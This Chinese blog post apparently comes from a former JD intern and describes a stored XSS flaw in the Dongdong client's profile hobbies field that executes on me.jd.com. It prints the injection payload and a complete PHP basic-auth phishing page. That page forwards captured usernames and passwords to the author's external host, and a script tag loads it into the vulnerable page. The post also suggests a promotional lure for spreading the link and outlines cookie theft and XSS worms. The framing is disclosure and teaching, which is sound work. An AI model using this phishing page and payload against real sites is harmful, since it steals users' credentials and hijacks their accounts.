- A+
这是几个月前的东西了。当时还在JD实习的时候,可惜发出来没人重视,推了半天才修改。这里发出来分享给大家
什么是XSS
在测试部博客中分享过http://10.28.176.4/wordpress/?p=5241, XSS全称(Cross Site Scripting) 跨站脚本攻击,简单来说就是指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
在安全测试中常用<script>alert(1)</script>验证目标是否存在XSS,这也给很多开发人员与测试人员造成误区,认为XSS就只是弹个框那么简单。其实XSS可以做很多事情。比如cookie盗取,基础验证钓鱼,XSS蠕虫攻击等等等等。下面就结合咚咚客户端与me.jd.com之间的XSS漏洞做一下进一步的深入挖掘以及利用,做一个基础验证钓鱼的例子。
攻击场景介绍
咚咚客户端在编辑个人资料->兴趣爱好字段中被为对字段做安全过滤,(见图1)这个字段直接存入passport中,而在me.jd.com直接读取passport时,也并未检查该字段是否存在攻击代码直接呈现给用户造成XSS攻击。
XSS漏洞验证代码:</script><script>alert(‘test by lenny’)</script><script>
利用XSS进行基础认证钓鱼
很明显,现在只是能验证漏洞存在并不能说明任何问题。现在开始扩散攻击面。在外网搭建钓鱼环境。
① 准备鱼饵-构造钓鱼页面
我用PHP写了一个钓鱼页面,代码如下(图3):
<? error_reporting(0); /* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/ if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { /* 空值:发送产生显示文本框的数据头部*/ header('WWW-Authenticate: Basic realm="'.addslashes(trim($_GET['info'])).'"'); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ /* 变量值存在,检查其是否正确 */ header("Location: http://lennyxss.sinaapp.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}"); } ?>
大致意思就是通过构造HTTP头报文,向浏览器发起伪造的基础验证请求,并将钓鱼成功后的用户名以及密码回发到我的服务器上。
② 将鱼饵挂上钓鱼线-将钓鱼页面嵌入到me.jd.com
再次更改兴趣爱好字段为:</script><script src=”http://lennyxss.sinaapp.com//authtest.php?id=yVCEB3&info=put+your+jd+account“></script><script>
其中src字段就是我伪造的钓鱼页面的URL。
③ 开始fishing-散播钓鱼页面
怎么散播出去呢?右下角的一起逛是个不错的选择。勾引里面的小伙伴们点击你的钓鱼页面。Maybe你可以这样说“热销大促,仅限双12,详见下方连接”。当然上面这些话都是我YY出来的。只是说明钓鱼的每个步骤,当时为了测试,我就自己钓自己吧。点击URL,提示输入帐号密码(见图4),输入完成后并无异样(见图5)
④ 拉网上钩-check钓鱼后台,成功获取用户名密码
不多说见下图吧
说在最后
其实这种XSS利用方式已经不在新奇,前段时间QQ空间上面几处XSS漏洞让腾讯栽了大跟头。其实还有XSS盗取cookie,这种方式可以获取cookie中的Session ID达到绕过服务端登录的登录逻辑,只要把盗取的cookie导入浏览器我们就可以不输入帐号密码直接登陆进他人的帐号。同时还有XSS蠕虫,这是XSS与CSRF相配合出来的产物。XSS是基础,然后配合服务端验证不完全的CSRF漏洞达到更大的攻击面。举个例子,像是之前微博蠕虫(只要看过某人的微博就是自动关注某人)贴吧蠕虫(看过某个帖子就是自动回复这个帖子)都是XSS蠕虫,神不知鬼不觉。用户层面上是无感知的,将完全不会有任何察觉。这是XSS进阶攻击手段。
[via@lenny]